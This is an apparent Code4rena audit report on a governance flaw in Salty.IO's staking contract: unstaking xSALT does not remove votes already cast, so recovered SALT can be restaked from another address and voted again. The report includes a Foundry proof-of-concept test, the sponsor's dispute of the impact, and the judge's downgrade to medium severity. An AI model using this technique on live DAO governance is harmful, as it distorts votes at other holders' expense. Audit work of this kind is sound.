Unstaking xSALT does not remove cast votes meaning user can double vote

[c4-bot-10]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/Staking.sol#L60-L79 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/Staking.sol#L101-L126

Vulnerability details

Summary

When a user unstakes xSALT any votes they have cast on open ballots are not removed meaninf they can vote on the same ballot with their recovered SALT by staking again.

Vulnerability Details

In Staking::unstake() there is no logic to remove user's vites which they have cast on open ballots. This means that when they recoverSALT() they can simply transfer to another address which has access and the other user can vote on the same ballot.

This could be manipulaed in a number of different ways but the protocol's unstaking configuration would need to be taken into account by an attacker. An attacker needs to be willing to take a loss in returned SALT in order to get a vote over the line which earned them a large advantage. In it's default configuration the minimum unstaking term is 2 weeks, which will return minUnstakePercent of 20% of a user's xSALT in SALT. To use the exploit an attacker would need to recover their SALT before the end of the vote. A vote to send SALT to themselves could net the user enough SALT to cover the losses they incur by unstaking early.

The exploit likelihood increases as minUnstakePercent is increased towards it's 50% limit and minUnstakeWeeks() is reduced.

There could also arise a situation where quorum is not reached on an early ballot, which the sits open, forgotten about. A user could unstake over the normal time period and use 100% of their voting power to vote again on the ballot and get it across the line.

function unstake( uint256 amountUnstaked, uint256 numWeeks ) external nonReentrant returns (uint256 unstakeID)
        {
        require( userShareForPool(msg.sender, PoolUtils.STAKED_SALT) >= amountUnstaked, "Cannot unstake more than the amount staked" );

        uint256 claimableSALT = calculateUnstake( amountUnstaked, numWeeks );
        uint256 completionTime = block.timestamp + numWeeks * ( 1 weeks );

        unstakeID = nextUnstakeID++;
        Unstake memory u = Unstake( UnstakeState.PENDING, msg.sender, amountUnstaked, claimableSALT, completionTime, unstakeID );

        _unstakesByID[unstakeID] = u;
        _userUnstakeIDs[msg.sender].push( unstakeID );

        // Decrease the user's staking share so that they will receive less future SALT rewards
        // This call will send any pending SALT rewards to msg.sender as well.
        // Note: _decreaseUserShare checks to make sure that the user has the specified staking share balance.
        _decreaseUserShare( msg.sender, PoolUtils.STAKED_SALT, amountUnstaked, false );

        emit UnstakeInitiated(msg.sender, unstakeID, amountUnstaked, claimableSALT, numWeeks);
        }

POC

Add the test function below to DAO.t.sol and run:

```
function test_DoubleVote() public {

    vm.startPrank(alice);

    uint256 initialStake = 10000000 ether;
    uint256 ballotID = 1;

    // Alice stakes SALT so can vote
    staking.stakeSALT(initialStake);
    uint256 aliceVotingPower = staking.userShareForPool(alice, PoolUtils.STAKED_SALT);
    assertEq( aliceVotingPower, initialStake, "Alice should have initial xSALT worth of voting power" );

    // Alice creates proposal
    proposals.proposeSetContractAddress( "priceFeed1", address(0x1231236 ), "description" );
    assertEq(proposals.ballotForID(ballotID).ballotName, "setContract:priceFeed1");
    assertEq(proposals.ballotForID(ballotID).ballotIsLive, true, "Ballot 1 not created correctly");

    // Alice votes
    proposals.castVote(ballotID, Vote.YES);
    uint256 votesForBallot = proposals.totalVotesCastForBallot(ballotID);
    assertEq(aliceVotingPower, votesForBallot, "voting power doesnt match votes cast");
    vm.stopPrank();

    vm.startPrank(alice);
    // Alice unstakes using minimum unstake period to get 20% back
    uint256 duration = stakingConfig.minUnstakeWeeks();
    uint256 unstakeID = staking.unstake(initialStake, duration);
    Unstake memory unstake = staking.unstakeByID(unstakeID);

    // Check unstake info
    assertEq(unstake.wallet, alice);
    assertEq(unstake.unstakedXSALT, initialStake);
    assertEq(unstake.completionTime, block.timestamp + duration * 1 weeks);

    // Calculate expected claimable SALT
    uint256 expectedClaimableSALT = staking.calculateUnstake(initialStake, duration);
    assertEq(expectedClaimableSALT, initialStake / 5, "User should get back 20% of intial stake");

    // Warp time to complete unstaking & Recover SALT
    vm.warp(unstake.completionTime);
    staking.recoverSALT(unstakeID);
    assertEq(salt.balanceOf(alice), expectedClaimableSALT);

    // Transfer recovered SALT to bob
    salt.transfer(bob, salt.balanceOf(alice));
    assertEq(salt.balanceOf(bob), initialStake / 5, "bob didnt receive all of saltBalance");
    vm.stopPrank();

    vm.startPrank(bob);

    // approve the staking contract for SALT token
    salt.approve( address(staking), type(uint256).max );

    // bob stakes SALT so can vote
    initialStake = salt.balanceOf(bob);
    staking.stakeSALT(initialStake);
    uint256 bobVotingPower = staking.userShareForPool(bob, PoolUtils.STAKED_SALT);
    assertEq( bobVotingPower, initialStake, "bob should have initial xSALT worth of voting power" );

    // bob votes
    proposals.castVote(ballotID, Vote.YES);

    // Voting adds up to both alice and bob's voting power, showing double spend of vote
    votesForBallot = proposals.totalVotesCastForBallot(ballotID);
    assertEq(aliceVotingPower + bobVotingPower, votesForBallot, "voting power doesnt match votes cast");

    vm.stopPrank();
}
```

Impact

Very high impact depending on which type of vote a user manipulates and their voting power. User could whitelist a malicious token, send themselves SALT from the protocol or update the website url to a malicious address.

Tools Used

Manual Review Foundry Testing

Recommendations

Add logic to remove user's current votes from open ballots when they unstake their xSALT. Likely requires a new/updated state variable to track what ballots each address has voted on in Proposals::castVote() which can be looped through and vote removed in Staking::unstake().

Assessed type

Governance

[c4-judge]

Picodes marked the issue as primary issue

[c4-sponsor]

othernet-global (sponsor) disputed

[othernet-global]

The user cannot double vote. If a user stakes, votes, unstakes for two weeks, votes again then they only achieve an additional 20% of their original vote amount - but at an 80% penalty in terms of their owned SALT.

[c4-judge]

Picodes changed the severity to 2 (Med Risk)

[c4-judge]

Picodes marked the issue as duplicate of #746

[c4-judge]

Picodes marked the issue as satisfactory